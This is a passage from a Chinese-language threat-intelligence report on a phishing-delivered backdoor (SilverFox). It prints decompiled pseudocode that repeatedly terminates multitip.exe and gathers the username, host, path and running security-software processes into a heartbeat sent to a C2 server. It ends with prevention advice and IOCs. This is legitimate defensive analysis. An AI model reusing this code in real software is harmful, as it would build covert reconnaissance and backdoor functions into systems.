CloseHandle(TokenHandle);
}
CloseHandle(v5);
}
}
else
{
v2 = (unsigned int)sub_140004A40() != 0;
}
v8[0] = !v2 - 38;
sub_140001580(a1, v8, 1LL);
return 0;
并且在线程中循环消灭multitip.exe
进程
while ( 1 )
{
th32ProcessID = 0;
Toolhelp32Snapshot = CreateToolhelp32Snapshot(2u, 0);
v3 = (PROCESSENTRY32 *)operator new(0x130uLL);
v4 = v3;
if ( !v3 )
goto LABEL_12;
v3->dwSize = 304;
if ( Process32First(Toolhelp32Snapshot, v3) )
{
if ( lstrcmpiA(v4->szExeFile, "multitip.exe") )
{
if ( !Process32Next(Toolhelp32Snapshot, v4) )
goto LABEL_9;
while ( lstrcmpiA(v4->szExeFile, "multitip.exe") )
{
if ( !Process32Next(Toolhelp32Snapshot, v4) )
goto LABEL_9;
}
}
th32ProcessID = v4->th32ProcessID;
}
LABEL_9:
CloseHandle(Toolhelp32Snapshot);
j_free(v4);
if ( th32ProcessID )
{
v5 = OpenProcess(0x1FFFFFu, 0, th32ProcessID);
if ( v5 )
TerminateProcess(v5, 0);
}
LABEL_12:
Sleep(0x3E8u);
}
}
之后会持续发送心跳包将包含当前时间、用户名、当前路径、以及筛选当前进程是否存在如MCPR.exe
、avgnt.exe
、AliYunDun.exe
等安全软件进程的信息合并发送回c2
v17 = -2LL;
memset(String1, 0, 0x307uLL);
v20 = -56;
lstrcatA(String1, (LPCSTR)(a1 + 224));
LODWORD(nSize) = 50;
v4 = (const char *)sub_140006C60("Remark");
if ( strlen(v4) )
strncpy(&String1[130], v4, 0x32uLL);
else
GetComputerNameA(&String1[130], (LPDWORD)&nSize);
*(_DWORD *)&String1[231] = GetCurrentProcessId();
*(_DWORD *)&String1[755] = a2;
String1[491] = sub_140002A30();
v19 = 15LL;
Source[2] = 0LL;
LOBYTE(Source[0]) = 0;
sub_140003F70(Source, 0LL);
Toolhelp32Snapshot = CreateToolhelp32Snapshot(2u, 0);
v6 = (char *)operator new(0x130uLL);
if ( v6 )
sub_140002950(Source, Toolhelp32Snapshot, v6);
v7 = (const char *)Source;
if ( v19 >= 0x10 )
v7 = Source[0];
strncpy_s(&String1[299], 0x80uLL, v7, 0x7FuLL);
v8 = (CHAR *)sub_140006C60("Time");
if ( !lstrlenA(v8) )
{
time64(&nSize);
v9 = localtime64(&nSize);
wsprintfA(v8, "%d-%d-%d %d:%d", v9->tm_year + 1900, v9->tm_mon + 1, v9->tm_mday, v9->tm_hour, v9->tm_min);
sub_140006B80("Time", v8);
}
strncpy_s(&String1[235], 0x40uLL, v8, 0x3FuLL);
if ( strlen((const char *)sub_140006C60("Group")) )
{
v10 = (const char *)sub_140006C60("Group");
strncpy_s(&String1[427], 0x40uLL, v10, 0x3FuLL);
}
v16 = 50;
strcpy(ProcName, "GetUserNameA");
strcpy(LibFileName, "Advapi32.dll");
LibraryA = LoadLibraryA(LibFileName);
ProcAddress = GetProcAddress(LibraryA, ProcName);
((void (__fastcall *)(CHAR *, int *))ProcAddress)(&String1[180], &v16);
sub_140002BC0(&String1[759]);
GetModuleFileNameA(0LL, &String1[492], 0x104u);
result = sub_140001E20(a1, &v20, 776LL);
攻击过程可视化(EDR)
瑞星EDR
上详细记录了主机上的程序活动,通过威胁可视化调查功能,可以对本次攻击过程进行还原以及关系网展示。图中展示了本次攻击活动中涉及到的进程等情况。
案例1:
案例2:
总结
近期捕获的钓鱼邮件攻击样本,攻击者借助带有合法数字签名的文件作为掩护,迷惑用户与安全防护机制。为躲避沙箱虚拟机和调试分析等,也采用了一些对抗手法。为防范类似攻击,用户需提升安全意识,不轻易点击可疑链接以及打开可疑文件。瑞星将持续跟踪此类事件,保障用户设备安全。
预防措施
-
不打开可疑文件。
不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。
-
部署网络安全态势感知、预警系统等网关安全产品。
网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。
-
安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。
杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。
瑞星ESM目前已经可以检出此次攻击事件的相关样本
- 及时修补系统补丁和重要软件的补丁。
沦陷信标(IOC)
-
MD5
D5D9053B8097542E4F594D8B129C7C86 103A7C7B5033DB386C484F6846AECF28 D3FC2B2CF324102C2800E7CDAF1B10BA 0B70320AC2F5F6BE5FEE0B0B3C27D785 F5AF69E0A10B7E7BBBF8FC1EE6DFCC2B b16131ad5ced53662a61b230452a2a93 3fbb7853b70b4383d76c98e02d4bc941 6e3a5649599cff7ce8826bd46e3c1685 ed5e0ac43bf4363662bd3288c7fbbe3b c598696cd40597af817461b43d3e8b3e
-
URL
hxxps://baidu.com@cuomicufvhehy.cn/?lzhlujkoai hxxps://baidu.com@olnrrzvvpypuhutf.cn/?ykwpolenff hxxps://xuyuyohlzgtmcvr.cn/
-
Domain
cuomicufvhehy.cn olnrrzvvpypuhutf.cn xuyuyohlzgtmcvr.cn
-
IPV4
38.181.42.127 192.238.129.9 150.109.48.238
-
瑞星病毒名
Downloader.Agent!1.12E0B Backdoor.SilverFox!1.12E40 Trojan.ShellCodeRunner!1.12E42 Trojan.ShellCodeRunner/x64!1.12E3D